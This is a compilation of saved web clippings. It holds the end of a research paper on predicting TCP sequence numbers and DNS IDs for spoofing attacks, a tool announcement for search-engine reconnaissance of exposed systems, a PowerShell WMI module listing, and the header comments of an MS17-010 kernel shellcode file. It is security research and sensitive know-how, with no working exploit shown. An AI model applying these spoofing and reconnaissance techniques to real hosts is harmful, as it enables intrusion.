spoofing \(100% feasibility, average error of 2\):

<img src='img/Temp2_7749.jpg' width='640' height='480' alt='[ MS DNS ]' />

The last example is the Solaris 7 libc resolver pattern. It looks much more
random than two examples mentioned above, but still have significant attractor
patterns:

<img src='img/Temp2_7750.jpg' width='640' height='480' alt='[ Solaris resolver
]' />

DNS sequence numbers are, generally speaking, weak, because only 16-bit space
is used for this purpose. Weakening these numbers even more - as in MS DNS or
Linux resolver case - allows attacker to perform almost instant DNS poisoning
/ DNS spoofing attacks. These attacks are even more dangerous, and certainly
less complicated than TCP sequence number attacks. To intercept traffic
originating from vulnerable client to, for example, www.microsoft.com server,
attacker has to convince the DNS resolver implementation that this address
should resolve to the attacker's IP address instead of the legitimate one. In
case of caching servers or client-side daemons \(like \*nsd\), this condition
is even worse, because attack does not require human interaction and can be
automated.

Recent bind releases and the FreeBSD resolver do not show attractor patterns.
We have not tested another DNS daemon implementations \(djbdns, etc\) or
resolvers \(IRIX, HPUX, AIX\), session-id generators in numerous other
protocols, etc.

****

**4\. Risk Analysis**

**** Below is the graph representing relative ranking of the operating systems
tested in this survey:

<img src='img/Temp2_7751.jpg' width='434' height='220' alt='[comparsion]' />

OpenBSD-current \(future 2.9 release\) wins the competition. Linux 2.2.1x gets
a relatively good score, but it is far from being perfect. Other systems
generally received mediocre or very bad scores. Solaris with tcp\_strong\_iss
set to 2 is interesting because it gets both one of the best and the one of
the worst ranks at the same time, depending on whether or not the same Source
IP is used to generate the attractor and to launch the attack.

We would like to note that using a strictly RFC1948 compliant implementation
may not be a definitive answer to ISN guessing attacks. We make two
observations. First, RFC1948 permits systems to create their ISN generation
secret at boot time and to reuse this secret until shutdown. Second, IPv4
addresses are very often re-used \(e.g. ISP dynamically assigned addresses,
network address translations\). Taken together these means that if an attacker
were able to construct a scenario in which he could build an attractor
\(approx. 50k ISN numbers\) with a set Source IP, then he could later launch
an attack from that same Source IP with a reasonable chance of success, so
long as the ISN generation secret on the target has not been recreated. This
explains the large disparity between our Attack Feasibility estimates for
Solaris with tcp\_strong\_iss=2 based on using the same Source IP \(66%\) and
using different Source IPs \(0%\).

****

**5\. Conclusions**

**** The general conclusions can seem a little scary. What comes to our
attention is that most every implementation described above, except maybe
current OpenBSD and Linux, has more or less serious flaws that make short-time
TCP sequence number prediction attacks possible. Solaris 7 and 8 with
tcp\_strong\_iss set to 2 results are a clear sign there are a lot of things
to do for system vendors. We applied relatively loose measures, classifying
attacks as "feasible" if they can be accomplished using relatively low
bandwidth and a reasonable amount of time. But, as network speeds are
constantly growing, it would be not a problem for an attacker having access to
powerful enough uplink to search the entire 32-bit ISN space in several hours,
assuming a local LAN connection to the victim host and assuming the network
doesn't crash, although an attack could be throttled to compensate. While it
seems obvious that OS vendors should do their very best to make such attacks
as difficult as possible, it obviously isn't so. In most cases, we are
observing ISN generators that are vulnerable to immediate guess, or can be
attacked using average modem / DSL connection. This is even in server systems
that are supposed to have strong ISNs.

It is worth reminding that risks caused by predictable ISNs were known for at
least 15 years, giving more than enough time to build strong and unpredictable
implementations. In all PRNG applications where risks were not that emphasized
- DNS resolver implementations, authentication cookies and session-id
generators, situation is even worse.

Of course, when it comes to TCP/IP ISNs, the good news is that a lot of this
is dependent upon certain conditions. For an attack to work, you need the
following:

\- An open TCP port to get an initial ISN, or a sniffed ISN. If there are no
open ports reachable by the attacker, then the ISN would have to be guessed.
Knowing a current ISN would certainly help tailor an attack to increase the
odds of its success. This is still very possible, but the level of
intelligence required to make the attack in the first place \(such as sniffing
and probing\) would probably point to an alternate attack method that would be
far more likely to succeed.

\- Routing that will allow forged packets to reach the target. Proper firewall
and router rules can prevent forged packets from reaching the target \(network
interface subnet filtering, expected TTL measuring, ISN storm detection\).
This does not necessarily mean spoofing is impossible, and, in some cases,
might lead to serious DoS conditions, but would make TCP/IP blind spoofing
attacks harder to perform.

\- A service listening on the target that can be properly exploited via a
blind spoof \(or, alternatively, existing and known client-server stream that
would be vulnerable to spoofing\). Except denial of service and potentially
exploiting trust relationships, many attacks against listening services often
require more than just guessing the ISN. They require the knowledge of several
potentially unpredictable factors. If the target doesn't really have an
exploitable service or client software running, or some factors required to
perform the attack are unknown to the attacker, then his options \(ISN
spoofing or otherwise\) can be extremely limited.

It is worth mentioning that TCP/IP sequence numbers analysis has some other
interesting aspects besides finding vulnerable implementations. Every
operating system generates a different attractor shape. While metrics used in
traditional OS fingerprinting can be easily fooled \(usually by altering
publicly available kernel parameters via sysctl\), a TCP sequence number
generator cannot be modified that easily. At the same time, every system seems
to have a separate generating function. So, this technique may be modified for
reliable remote OS detection, as well.

****

**6\. References**

**** TCP/IP networking:
http://msdn.microsoft.com/library/backgrnd/html/tcpipintro.htm

TCP/IP spoofing, ISN weakness:
http://www.sans.org/infosecFAQ/threats/intro\_spoofing.htm

[code]

       Harris, B. and Hunt, R., "TCP/IP security threats and attack methods",
       Computer Communications, vol. 22, no. 10, 25 June 1999, pp.
       885-897.
    
       Guha, B. and Mukherjee, B., "Network Security via Reverse Engineering
       of TCP Code: Vulnerability Analysis and Proposed Solutions",
       IEEE Network, vol. 11, no. 4, July/August 1997, pp. 40-48.
[/code]

Phase-space reconstruction:  http://www.mpipks-
dresden.mpg.de/~tisean/TISEAN\_2.1/docs/chaospaper/node6.html

[code]

       Hegger, R., Kantz, H., and Schreiber, T., "Practical implementation of
       nonlinear time series methods: The TISEAN package", Chaos, vol.
       9, no. 2, June 1999, pp. 413-435.
    
       Schreiber, T. and Schmitz, A., "Surrogate time series", Physica D,
       vol. 142, no. 3-4, 15 August 2000, pp. 346-382.
[/code]

Chaos Theory and Fractal Phenomena: http://www.duke.edu/~mjd/chaos/chaos.html

[code]

       Benoit B. Mandelbrot, "The Fractal Geometry of Nature",
       W. H. Freeman and Company, NY, 1977-2000
[/code]

Tool sources: vseq.tgz \(READ THIS IMPORTANT NOTE\)

Used data samples: data.tgz \(approx. 15 MB\)

****

**7\. Credits**

**** Some of data sets \(Solaris, AIX, HPUX\) contributed by skyper
<skyper@segfault.net>

Windows 95/98 data contributed by noah williamsson <noah@hd.se

Cisco and BSDI data contributed by \(anonymous\).

Solaris tcp\_strong\_iss and other data contributed by Elias Levy
<aleph1@securityfocus.com>

Router data sets contributed by Piotr Zurawski <szur@ix.renet.pl>

Some of HPUX samples contributed by Solar Designer <solar@openwall.com>

Thanks to Theo de Raadt and all other people who reviewed this publication and
came up with suggestions, corrections or comments.

Special thanks to Matt Power, Dave Mann, Mark Loveless, Scott Blake and other
RAZOR Team members for their extensive work on this document.

****

**Appendix A: Phase Space Images of Known Generating Functions**

**** Analysis of the attractors associated with PRNGs can be used in another
way to create effective spoofing sets. Although this metod does not lead to a
universal, automated attack method, it can be easily used to guess and
implement the underlying PRNG function.

If we can accurately guess the nature of the generating function that an OS is
using for its ISN generator, we can easily build spoofing sets using the same,
or at least a very similar, generating function.

We noted that the behavior of attractors is that similar functions will often
admit similar attractors. Thus, the attractors of well known PRNGs can be used
as a sort of "visual finger print" for the underlying algorithm. If we compare
the attractor of a particular OS to a catalog of attractors corresponding to
well known PRNGs, we may be able to make reasonable guesses at the type of the
PNRG being utilized by the OS.

In practice, the spoof set generation algorithm discussed in section 2.2 is
powerful enough that this approach may not need to be employed. Never the
less, it is relevant to the general question of reverse engineering so we
include a discussion of it for the sake of completeness.

Let's begin by considering some patterns produced by specific algorithms that
are frequently used in TCP/IP ISN generators:

_...2179423068, 2635919226, 2992875947, 3492493181, 2448506773, 2252539982,
2067122333, 1029730040, 335648555, 427819739..._

<img src='img/Temp2_7770.jpg' width='640' height='480' alt='[ random noise ]'
/>

32-bit randomness - the perfect ISN generator \(smaller, 31-bit cloud would be
more suitable, because of RFC requirements\). There is no dependency, no
regions of attraction, and no path. Data fills every possible space with white
noise.

_...1946815845, 1931502952, 2004117103, 543519329, 1713402729, 543516018,
544370534, 543976545, 544437353, 757935405..._

<img src='img/Temp2_7768.jpg' width='640' height='480' alt='[ stat correlation
]' />

Statistical correlation - Some regions of phase space are more occupied. In
terms of attractor reconstruction, we would say some values are "attracted" by
these regions. If a considerably large amount of points can be found near any
relatively small region \(point, curve, plane, etc.\), you can in most cases
successfully delimit your search for new values to this region, and you do not
have to search the entire available function space. Patterns are different for
every "imperfect" algorithm, but if present, they indicate problems.

_...4294116998, 3730256972, 4294036130, 3205319395, 4293855531 3568222244,
4294120161, 2206082684, 4294031940..._

<img src='img/Temp2_7771.jpg' width='640' height='480' alt='[ mixed data ]' />

Partial randomness - Such patterns \(planes, empty boxes, etc\) are common
whenever randomness is mixed with predictable data. This dramatically reduces
search space - randomness is still present, but random data is located in
easily predictable locations that can be derived from previous results.

_...135242143, 135542151, 135642164, 136342181, 135842182, 135542195,
129542200, 135142207, 135542223, 135542257..._

<img src='img/Temp2_7757.jpg' width='640' height='480' alt='[ small increases
]' />

Small changes - This pattern is generated for potentially random, but
relatively small increments. Such PRNGs are pretty good, except they do not
fill the entire available space, and high bits are not as random as they
should be. As a result, the attacker has significantly fewer possibilities to
examine.

_...1699922618, 1699942619, 1699962618, 1699982618, 1700003328, 1700022622,
1700042618, 1700063111, 1700082618..._

<img src='img/Temp2_7779.jpg' width='640' height='480' alt='[ t-dep ]' />

Trivial dependency \(time dependency simulation\) - Pictures of this kind
usually contain regular groups of points on three surfaces and one very
saturated center point where these surfaces are connected. This is a clear
sign of a really bad TCP/IP sequence generator.

As in the case of spoofing set reconstruction, this method is a powerful tool
for finding flaws and problems with RNGs, but cannot be used to prove a
specific implementation is flawless.

# SearchDiggity – GUI Front-End For GoogleDiggity & BingDiggity | Darknet - The Darkside
**Created:**| _5/1/2011 10:03:44 AM_  
---|---  
**Updated:**| _5/1/2011 10:26:42 AM_  
**Author:**| __  
**Tags:**| _searching_  
  

21 April 2011| 2,851 views

##  SearchDiggity – GUI Front-End For GoogleDiggity & BingDiggity

The Google Hacking Diggity Project is a research and development initiative
dedicated to investigating the latest techniques that leverage search engines,
such as Google and Bing, to quickly identify vulnerable systems and sensitive
data in corporate networks.SearchDiggity is a new GUI application that serves
as a front-end to both GoogleDiggity and BingDiggity.

GoogleDiggity

With the retirement of Google’s SOAP Search API on September 7, 2009, most of
the security utilities available for Google Hacking cease to function, leaving
the security industry with a need for new and innovative tools. GoogleDiggity
is a new MS Windows command line utility designed to help fill that need.
GoogleDiggity leverages the Google AJAX API, so it will not get you blocked by
Google bot detection while scanning. Also, unlike other Google Hacking tools
available, GoogleDiggity actually allows you to specify a Google Custom Search
Engine \(CSE\)id to run Google Hacking vulnerability checks against a
customized version of Google that will only return results tailored to your
organization.

  

**BingDiggity**

BingDiggity is a new command line utility that leverages the new Bing 2.0 API
and a newly developed Bing Hacking Database \(BHDB\) to find vulnerabilities
and sensitive information disclosures related to your organization that are
exposed via Microsoft’s Bing search engine. This utility also provides
footprinting functionality that allows you to enumerate URLS, hosts, domains,
IP-to-virtual host mappings, etc. for target companies.

You can download SearchDiggity v1.0 here:

MSI Installer – searchdiggity.msi  
ZIP File – searchdiggity.zip

Or read more

# how to create custom wmi classes and properties with powershell \(WMI
module\) » powershelldistrict.com

**Created:**| _8/1/2014 11:27:47 AM_  
---|---  
**Updated:**| _8/1/2014 11:27:47 AM_  
**Author:**| __  
**Tags:**| _powershell monitoring config-mgmt_  
  

# how to create custom wmi classes and properties with powershell \(WMI
module\)

Functions, module, PowerShell, WMI

by Stephane

<img src='img/Temp2_10303.jpg' width='530' height='640' alt='WMI PowerShell
module' />

Have you ever needed to create a new WMI property ? Have you ever needed to
create that WMI property in a specefic \(and new\) WMI class ?

Well, if you did, the WMI-Module is what you are looking for then \!

After setting up the method on how to measure a Task sequence time \(which I
explained here\), I needed to add it at the end of our task sequence in the
“tatoo” section.

In OSD, we generaly like to put the same information, in various locations :
Registry, environment variable and in the WMI repository. The registry and
environment variable are pretty easy \(or lets say that was something I had
already done before\), but _**how do we actually add a WMI property and a new
WMI class ?**_

That is a good question right ?

I have started to write some cmdlets in order to create a class, then a
property, then to import or export MOF files, and sooner then I thought, I
came up with the **WMI PowerShell Module**.

And it is my turn to give something back to the PowerShell community.

For now, the module is composed of the following cmdlets :

> 
> Compile-MofFile  
>  Export-MofFile  
>  Get-WMIClass  
>  Get-WMICommands  
>  New-WMIClass  
>  New-WMIProperty  
>  Remove-WMIClass  
>  Remove-WMIProperty  
>  Set-WMIPropertyValue
New cmdlets will probably still come, and most likley, with your very valuable
feedback, I will publish a new updated version with any eventual bug fixes
etc…

Download the latest version of the module on technet right here.

Here under you will also have the current listing of the module. You can
either download it from technet here, or copy paste the listing here below in
a new text file called “**WMI-Module.psm1** ”

## Listing WMI-Module.psm1

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596| `Function` `New-WMIClass` `{``<#`` ``.SYNOPSIS`` ``This function help to create a new WMI class.` ` ``.DESCRIPTION`` ``The function allows to create a WMI class in the CimV2 namespace.`` ``Accepts a single string, or an array of strings.` ` ``.PARAMETER ClassName`` ``Specify the name of the class that you would like to create. (Can be a single string, or a array of strings).` ` ``.PARAMETER NameSpace`` ``Specify the namespace where class the class should be created.`` ``If not specified, the class will automatically be created in "Root\cimv2"` ` ``.EXAMPLE`` ``New-WMIClass -ClassName "PowerShellDistrict"`` ``Creates a new class called "PowerShellDistrict"`` ``.EXAMPLE`` ``New-WMIClass -ClassName "aaaa","bbbb"`` ``Creates two classes called "aaaa" and "bbbb" in the Root\cimv2` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stephane van Gulick`` ``Creation date:16.07.2014`` ``Last modification date: 16.07.2014` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>``[``CmdletBinding``()]`` ``Param``(`` ``[``Parameter``(``Mandatory``=``$true``,``valueFromPipeLine``=``$true``)]``[string[]]``$ClassName``,`` ``[``Parameter``(``Mandatory``=``$false``)]``[string]``$NameSpace` `= ``"root\cimv2"`` ` ` ``)` ` ` ` ` ` ``foreach` `(``$NewClass` `in` `$ClassName``){`` ``if` `(!(``Get-WMIClass` `-ClassName` `$NewClass` `-NameSpace` `$NameSpace``)){`` ``write-verbose` `"Attempting to create class $($NewClass)"`` ``$WMI_Class` `= "``"`` ``$WMI_Class = New-Object System.Management.ManagementClass($NameSpace, $null, $null)`` ``$WMI_Class.name = $NewClass`` ``$WMI_Class.Put() | out-null`` ` ` ``write-host "``Class $(``$NewClass``) created.``"` ` ``}else{`` ``write-host "``Class $(``$NewClass``) is already present. Skiping..``"`` ``}`` ``}` `}`` ` `Function New-WMIProperty {``<#`` ``.SYNOPSIS`` ``This function help to create new WMI properties.` ` ``.DESCRIPTION`` ``The function allows to create new properties and set their values into a newly created WMI Class.`` ``Event though it is possible, it is not recommended to create WMI properties in existing WMI classes !` ` ``.PARAMETER ClassName`` ``Specify the name of the class where you would like to create the new properties.` ` ``.PARAMETER PropertyName`` ``The name of the property.` ` ``.PARAMETER PropertyValue`` ``The value of the property.` ` ``.EXAMPLE`` ``New-WMIProperty -ClassName "``PowerShellDistrict``" -PropertyName "``WebSite``" -PropertyValue "``www.PowerShellDistrict.com``"` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stephane van Gulick`` ``Creation date:16.07.2014`` ``Last modification date: 16.07.2014` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>` `[CmdletBinding()]`` ``Param(`` ``[Parameter(Mandatory=$true)]`` ``[ValidateScript({`` ``$_ -ne ""`` ``})]`` ``[string]$ClassName,` ` ``[Parameter(Mandatory=$false)]`` ``[string]$NameSpace="``Root\cimv2``",` ` ``[Parameter(Mandatory=$true)][string]$PropertyName,`` ``[Parameter(Mandatory=$false)][string]$PropertyValue=""` ` ` ` ``)`` ``begin{`` ``[wmiclass]$WMI_Class = Get-WmiObject -Class $ClassName -Namespace $NameSpace -list`` ``}`` ``Process{`` ``write-verbose "``Attempting to create property $(``$PropertyName``) with value: $(``$PropertyValue``) ``in` `class: $(``$ClassName``)``"`` ``$WMI_Class.Properties.add($PropertyName,$PropertyValue)`` ``Write-Output "``Added $(``$PropertyName``).``"`` ``}`` ``end{`` ``$WMI_Class.Put() | Out-Null`` ``[wmiclass]$WMI_Class = Get-WmiObject -Class $ClassName -list`` ``return $WMI_Class`` ``}` ` ` ` ` ` ` ` ` `}` `Function Set-WMIPropertyValue {` `<#`` ``.SYNOPSIS`` ``This function set a WMI property value.` ` ``.DESCRIPTION`` ``The function allows to set a new value in an existing WMI property.` ` ``.PARAMETER ClassName`` ``Specify the name of the class where the property resides.` ` ``.PARAMETER PropertyName`` ``The name of the property.` ` ``.PARAMETER PropertyValue`` ``The value of the property.` ` ``.EXAMPLE`` ``New-WMIProperty -ClassName "``PowerShellDistrict``" -PropertyName "``WebSite``" -PropertyValue "``www.PowerShellDistrict.com``"`` ``Sets the property "``WebSite``" to "``www.PowerShellDistrict.com``"`` ``.EXAMPLE`` ``New-WMIProperty -ClassName "``PowerShellDistrict``" -PropertyName "``MainTopic``" -PropertyValue "``PowerShellDistrict``"`` ``Sets the property "``MainTopic``" to "``PowerShell``"` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stephane van Gulick`` ``Creation date:16.07.2014`` ``Last modification date: 16.07.2014` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>` `[CmdletBinding()]`` ``Param(`` ``[Parameter(Mandatory=$true)]`` ``[ValidateScript({`` ``$_ -ne ""`` ``})]`` ``[string]$ClassName,` ` ``[Parameter(Mandatory=$false)]`` ``[string]$NameSpace="``Root\cimv2``",` ` ``[Parameter(Mandatory=$true)]`` ``[ValidateScript({`` ``$_ -ne ""`` ``})]`` ``[string]$PropertyName,` ` ``[Parameter(Mandatory=$true)]`` ``[string]$PropertyValue` ` ` ` ``)`` ``begin{`` ``write-verbose "``Setting new value : $(``$PropertyValue``) on property: $(``$PropertyName``):``"`` ``[wmiclass]$WMI_Class = Get-WmiObject -Class $ClassName -list`` ` ` ``}`` ``Process{`` ``$WMI_Class.SetPropertyValue($PropertyName,$PropertyValue)`` ` ` ``}`` ``End{`` ``$WMI_Class.Put() | Out-Null`` ``return Get-WmiObject -Class $ClassName -list`` ``}` `}` `Function Remove-WMIProperty{``<#`` ``.SYNOPSIS`` ``This function removes a WMI property.` ` ``.DESCRIPTION`` ``The function allows to remove a specefic WMI property from a specefic WMI class.`` ``/!\Be aware that any wrongly deleted WMI properties could make your system unstable./!\` ` ``.PARAMETER ClassName`` ``Specify the name of the class name.` ` ``.PARAMETER PropertyName`` ``The name of the property.` ` ``.EXAMPLE`` ``Remove-WMIProperty -ClassName "``PowerShellDistrict``" -PropertyName "``MainTopic``"`` ``Removes the WMI property "``MainTopic``".` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stephane van Gulick`` ``Creation date:21.07.2014`` ``Last modification date: 24.07.2014` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>` `[CmdletBinding()]`` ``Param(`` ``[Parameter(Mandatory=$true)][string]$ClassName,`` ``[Parameter(Mandatory=$true)][string]$PropertyName,`` ``[Parameter(Mandatory=$false)][string]$NameSpace = "``Root\Cimv2``",`` ``[Parameter(Mandatory=$false)][string]$Force ` ` ` ` ``)`` ``if ($PSBoundParameters['NameSpace']){` ` ``[wmiclass]$WMI_Class = Get-WmiObject -Class $ClassName -Namespace $NameSpace -list`` ``}`` ``else{`` ``write-verbose "``Gaterhing data of $(``$ClassName``)``"`` ``[wmiclass]$WMI_Class = Get-WmiObject -Class $ClassName -list`` ``}`` ``if (!($force)){`` ` ` ``$Answer = Read-Host "``Deleting $(``$PropertyName``) can make your system unreliable. Press ``'Y'` `to ``continue``"`` ``if ($Answer -eq"``Y``"){`` ``$WMI_Class.Properties.remove($PropertyName)`` ``write-ouput "``Property $(``$propertyName``) removed.``"`` ` ` ``}else{`` ``write-ouput "``Uknowned answer. Class ``'$($PropertyName)'` `has not been deleted.``"`` ``}`` ``}#End force`` ``elseif ($force){`` ``$WMI_Class.Properties.remove($PropertyName)`` ``write-ouput "``Property $(``$propertyName``) removed.``"`` ``}` ` ` ` ` `}` `Function Remove-WMIClass {` `<#`` ``.SYNOPSIS`` ``This function removes a WMI class from the WMI repository.`` ``/!\ Removing a wrong WMI class could make your system unreliable. Use wisely and at your own risk /!\` ` ``.DESCRIPTION`` ``The function deletes a WMI class from the WMI repository. Use this function wiseley as this could make your system unstable if wrongly used.` ` ``.PARAMETER ClassName`` ``Specify the name of the class that you would like to delete.` ` ``.PARAMETER NameSpace`` ``Specify the name of the namespace where the WMI class resides (default is Root\cimv2).`` ``.PARAMETER Force`` ``Will delete the class without asking for confirmation.` ` ``.EXAMPLE`` ``Remove-WMIClass -ClassName "``PowerShellDistrict``"`` ``This will launch an attempt to remove the WMI class PowerShellDistrict from the repository. The user will be asked for confirmation before deleting the class.` ` ``.EXAMPLE`` ``Remove-WMIClass -ClassName "``PowerShellDistrict``" -force`` ``This will remove the WMI PowerShellDistrict class from the repository. The user will NOT be asked for confirmation before deleting the class.` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stephane van Gulick`` ``Creation date:18.07.2014`` ``Last modification date: 24.07.2014` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>` `[CmdletBinding()]`` ``Param(`` ``[parameter(mandatory=$true,valuefrompipeline=$true)]`` ``[ValidateScript({`` ``$_ -ne ""`` ``})]`` ``[string[]]$ClassName,` ` ``[Parameter(Mandatory=$false)]`` ``[string]$NameSpace = "``Root\CimV2``",` ` ``[Parameter(Mandatory=$false)]`` ``[Switch]$Force``)` ` ` ` ``write-verbose "``Attempting to delete classes``"`` ``foreach ($Class in $ClassName){`` ``if(!($Class)){`` ``write-verbose "``Class name is empty. Skipping...``"`` ``}else{`` ``[wmiclass]$WMI_Class = Get-WmiObject -Namespace $NameSpace -Class $Class -list`` ``if ($WMI_Class){`` ` ` ` ` ``if (!($force)){`` ``write-host `` ``$Answer = Read-Host "``Deleting $(``$Class``) can make your system unreliable. Press ``'Y'` `to ``continue``"`` ``if ($Answer -eq"``Y``"){`` ``$WMI_Class.Delete()`` ``write-output "``$(``$Class``) deleted.``"`` ` ` ``}else{`` ``write-output "``Uknowned answer. Class ``'$($class)'` `has not been deleted.``"`` ``}`` ``}`` ``elseif ($force){`` ``$WMI_Class.Delete()`` ``write-output "``$(``$Class``) deleted.``"`` ``}`` ``}Else{`` ``write-output "``Class $(``$Class``) not present``"`` ``}#End if WMI_CLASS`` ``}#EndIfclass emtpy`` ``}#End foreach`` ` ` ` `}` `Function Compile-MofFile{`` ` ` ``<#`` ``.SYNOPSIS`` ``This function will compile a mof file.` ` ``.DESCRIPTION`` ``The function allows to create new WMI Namespaces, classes and properties by compiling a MOF file.`` ``Important: Using the Compile-MofFile cmdlet, assures that the newly created WMI classes and Namespaces also will be recreated in case of WMI rebuild.` ` ``.PARAMETER MofFile`` ``Specify the complete path to the MOF file.` ` ``.EXAMPLE`` ``Compile-MofFile -MofFile C:\tatoo.mof` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stéphane van Gulick`` ``Creation date:18.07.2014`` ``Last modification date: 18.07.2014`` ``History : Creation : 18.07.2014 --> SVG` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>` `[CmdletBinding()]`` ``Param(`` ``[Parameter(Mandatory=$true)]`` ``[ValidateScript({`` ` ` ``test-path $_`` ` ` ``})][string]$MofFile` ` ` ` ``)`` ` ` ``begin{`` ` ` ``if (test-path "``C:\Windows\System32\wbem\mofcomp.exe``"){`` ``$MofComp = get-item "``C:\Windows\System32\wbem\mofcomp.exe``"`` ``}` ` ``}`` ``Process{`` ``Invoke-expression "``& ``$MofComp` `$MofFile``"`` ``Write-Output "``Mof file compilation actions finished.``"`` ``}`` ``End{`` ` ` ``}` `}` `Function Export-MofFile {`` ` ` ``<#`` ``.SYNOPSIS`` ``This function export a specefic class to a MOF file.` ` ``.DESCRIPTION`` ``The function allows export specefic WMI Namespaces, classes and properties by exporting the data to a MOF file format.`` ``Use the Generated MOF file in whit the cmdlet "``Compile-MofFile``" in order to import, or re-import the existing class.` ` ``.PARAMETER MofFile`` ``Specify the complete path to the MOF file.(Must contain "``.mof``" as extension.` ` ``.EXAMPLE`` ``Export-MofFile -ClassName "``PowerShellDistrict``" -Path "``C:\temp\PowerShellDistrict_Class.mof``"` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stéphane van Gulick`` ``Creation date:18.07.2014`` ``Last modification date: 18.07.2014`` ``History : Creation : 18.07.2014 --> SVG` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>` ` ``[CmdletBinding()]`` ``Param(`` ``[parameter(mandatory=$true)]`` ``[ValidateScript({`` ``$_.endsWith("``.mof``")`` ``})]`` ``[string]$Path,` ` ``[parameter(mandatory=$true)]`` ``[string]$ClassName,` ` ``[Parameter(Mandatory=$false)]`` ``[string]$NameSpace = "``Root\CimV2``"`` ` ` ``)` ` ``begin{}`` ``Process{` ` ``if ($PSBoundParameters['ClassName']){`` ``write-verbose "``Checking ``for` `Namespace: $(``$Namespace``) and Class $(``$Classname``)``"` ` ``[wmiclass]$WMI_Info = Get-WmiObject -Namespace $NameSpace -Class $ClassName -list ` ` ``}`` ``else{`` ``[wmi]$WMI_Info = Get-WmiObject -Namespace $NameSpace -list` ` ``}` ` ``[system.management.textformat]$mof = "``mof``"`` ``$MofText = $WMI_Info.GetText($mof)`` ``Write-Output "``Exporting infos to $(``$path``)``"`` ``"``#PRAGMA AUTORECOVER" | out-file -FilePath $Path`` ``$MofText` `| ``out-file` `-FilePath` `$Path` `-Append`` ` ` ` ` ``}`` ``End``{` ` ``return` `Get-Item` `$Path`` ``}` `}` `Function` `Get-WMIClass``{`` ``<#`` ``.SYNOPSIS`` ``get information about a specefic WMI class.` ` ``.DESCRIPTION`` ``returns the listing of a WMI class.` ` ``.PARAMETER ClassName`` ``Specify the name of the class that needs to be queried.` ` ``.PARAMETER NameSpace`` ``Specify the name of the namespace where the class resides in (default is "Root\cimv2").` ` ``.EXAMPLE`` ``get-wmiclass`` ``List all the Classes located in the root\cimv2 namespace (default location).` ` ``.EXAMPLE`` ``get-wmiclass -classname win32_bios`` ``Returns the Win32_Bios class.` ` ``.EXAMPLE`` ``get-wmiclass -classname MyCustomClass`` ``Returns information from MyCustomClass class located in the default namespace (Root\cimv2).` ` ``.EXAMPLE`` ``Get-WMIClass -NameSpace root\ccm -ClassName *`` ``List all the Classes located in the root\ccm namespace` ` ``.EXAMPLE`` ``Get-WMIClass -NameSpace root\ccm -ClassName ccm_client`` ``Returns information from the cm_client class located in the root\ccm namespace.` ` ``.NOTES`` ``Version: 1.0`` ``Author: Stephane van Gulick`` ``Creation date:23.07.2014`` ``Last modification date: 23.07.2014` ` ``.LINK`` ``www.powershellDistrict.com` ` ``.LINK` `http://social.technet.microsoft.com/profile/st%C3%A9phane%20vg/` `#>``[``CmdletBinding``()]`` ``Param``(`` ``[``Parameter``(``Mandatory``=``$false``,``valueFromPipeLine``=``$true``)]``[string]``$ClassName``,`` ``[``Parameter``(``Mandatory``=``$false``)]``[string]``$NameSpace` `= "root\cimv2``"`` ` ` ``) `` ``begin{`` ``write-verbose "``Getting WMI class $(``$Classname``)"`` ``}`` ``Process``{`` ``if` `(!(``$ClassName``)){`` ``$return` `= ``Get-WmiObject` `-Namespace` `$NameSpace` `-Class` `*` `-list`` ``}``else``{`` ``$return` `= ``Get-WmiObject` `-Namespace` `$NameSpace` `-Class` `$ClassName` `-list`` ``}`` ``}`` ``end``{` ` ``return` `$return`` ``}` `}`  
---|---

# RiskSense-Ops/MS17-010

**Created:**| _5/7/2017 11:01:07 PM_  
---|---  
**Updated:**| _5/7/2017 11:01:07 PM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

  

Raw Blame History

Open this file in GitHub Desktop

49 lines \(39 sloc\)  1.04 KB

1 | ;  
---|---  
2 | ; Windows x64 Kernel Get ETHREAD.ThreadListEntry Delta  
3 | ;  
4 | ; Author: Sean Dillon <sean.dillon@risksense.com> \(@zerosum0x0\)  
5 | ; Copyright: \(c\) 2017 RiskSense, Inc.  
6 | ; License: Apache 2.0  
7 | ;  
8 | ; Based on EQGRP code  
9 | ;  
10 | ; Arguments: r15 = base of nt  
